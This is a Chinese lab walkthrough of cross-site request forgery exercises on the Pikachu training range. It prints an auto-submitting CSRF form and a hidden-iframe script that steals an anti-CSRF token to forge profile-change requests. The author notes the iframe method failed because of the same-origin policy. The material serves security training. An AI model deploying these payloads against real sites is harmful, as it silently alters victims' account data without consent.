文章目录
- 一、CSRF(POST)
- 二、CSRF(TOKEN)
-
- [(一)查看 token 位置](#(一)查看 token 位置)
- (二)构造跳转页面
- 注意!!!!!==========》
前言:本文仅用于合法授权的渗透测试场景,旨在帮助开发者识别CSRF漏洞、提升Web应用安全性,严禁用于未授权攻击!网络安全无小事,违规操作将承担相应法律责任。
一、CSRF(POST)
post 的攻击方式和 get 的实现步骤完全一致,唯一的区别就是在生成恶意的网站时,他的代码一个为 get 请求,一个是 post 请求,具体的生成的恶意代码如下:
html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://目标网站ip/pikachu/vul/csrf/csrftoken/token_get_edit.php">
<input type="hidden" name="sex" value="girl" />
<input type="hidden" name="phonenum" value="12345678922" />
<input type="hidden" name="add" value="usa" />
<input type="hidden" name="email" value="lucy@pikachu.com" />
<input type="hidden" name="token" value="2190569ac27f2b1d8c849409371" />
<input type="hidden" name="submit" value="submit" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
详细实现步骤可以参考pikachu靶场------CSRF(get)(Kali系统)
二、CSRF(TOKEN)
(一)查看 token 位置
在本靶场中,在对修改个人信息进行抓包的时候,发现请求会同时传递一个 token 值。

检擦前端页面,发现该值位于一个 input 的标签中。而且该值是一个动态变化的值,无法固定,只能在每次的返回信息中提取。

(二)构造跳转页面
在这里,我们需要利用 JavaScript 先读取目标页面的 Token,再提交修改请求。
html
<!DOCTYPE html>
<html>
<head>
<title>Get Token and Attack</title>
</head>
<body>
<h1>Loading...</h1>
<script>
// 第一步:创建一个隐藏的 iframe,用来加载目标页面,从而获取 Cookie 和 Token
var iframe = document.createElement('iframe');
iframe.style.display = 'none';
iframe.src = 'http://目标ip/pikachu/vul/csrf/csrftoken/token_get_edit.php'; // 目标地址
// 第二步:当 iframe 加载完成后,读取它的内容,提取 Token
iframe.onload = function() {
var ifrDoc = iframe.contentDocument || iframe.contentWindow.document;
// 提取 Token (根据网页源码,Token 通常在 input 标签里)
var tokenInput = ifrDoc.querySelector('input[name="token"]');
var token = tokenInput.value;
// 第三步:构造攻击 URL 并跳转
var attackUrl = 'http://目标IP/pikachu/vul/csrf/csrftoken/token_get_edit.php?';
attackUrl += 'sex=boy&phonenum=88888888888&add=hacker&email=hacker%40pikachu.com&token=' + token + '&submit=submit';
window.location.href = attackUrl;
};
document.body.appendChild(iframe);
</script>
</body>
</html>
代码逻辑解析:
- 隐藏 iframe:创建一个看不见的 iframe,访问 token_get_edit.php。因为是同域(假设攻击页面能访问),浏览器会自动带上 Cookie,服务器返回的页面里包含有效的 Token。
- 提取 Token:通过 iframe.contentDocument 读取 iframe 里的 HTML 代码,使用 querySelector 找到 中的 xxxx。
- 发起攻击:将提取到的 Token 拼接到恶意修改的 URL 中,通过 window.location.href 跳转,完成修改。
注意!!!!!==========》
上面是我在网上搜索其他技术大佬的思路,但是在模拟的实际环境中,是无法实现的,具体原因和现象可以参考前面两个博客(pikachu靶场------同源策略(csrf token 没复现成功)、pikachu靶场------csrf的几个问题),具体原因就是 同源策略 ,攻击者(kali)构建的恶意网站,与目标主机不是同源,所以无法获取相关资源。

所以,下面这个思路我没有复现成功。现在附在下面,供大家了解参考,有大佬复现成功的可以相互交流。
实际复现步骤:
但是针对于本身 pikachu 靶场的这个 token 关卡,我这边的复现思路如下:
- 通过抓包可以看出,他其实就是发送的get请求,携带了 token 参数。
- 在 token 中登录后,再点击 get 和 post 关卡的时候,发现这个登录状态依然存在。
- 使用 get 管卡中生成的恶意网页进行篡改数据的测试,结果发现篡改成功。
因此,就本靶场而言,使用 get 管卡的请求即可实现信息的修改。
关于环境和恶意网页的修改
在之前的恶意网页中,我们的 IP 地址的书写存在以下的细节。
1.使用实际 IP 的环境。
如果整个环境是3台虚拟机,一台 win系统(作为 pikachu 的服务器),一台 win 系统(作为普通用户),一台 kali 系统(作为攻击主机),这个时候,使用实际 IP 可以实现篡改任务。
2.使用 localhost 作为 IP 地址的环境
整个环境是 2 台虚拟机,一台 win 系统 (同时作为 pikachu 的服务器 和 普通用户),一台 kali 系统(作为攻击主机),这时候,使用 localhost 才能实现篡改,如果写实际的 IP 地址,会出现pikachu靶场------csrf的几个问题里面说的,会跳转到登录页面。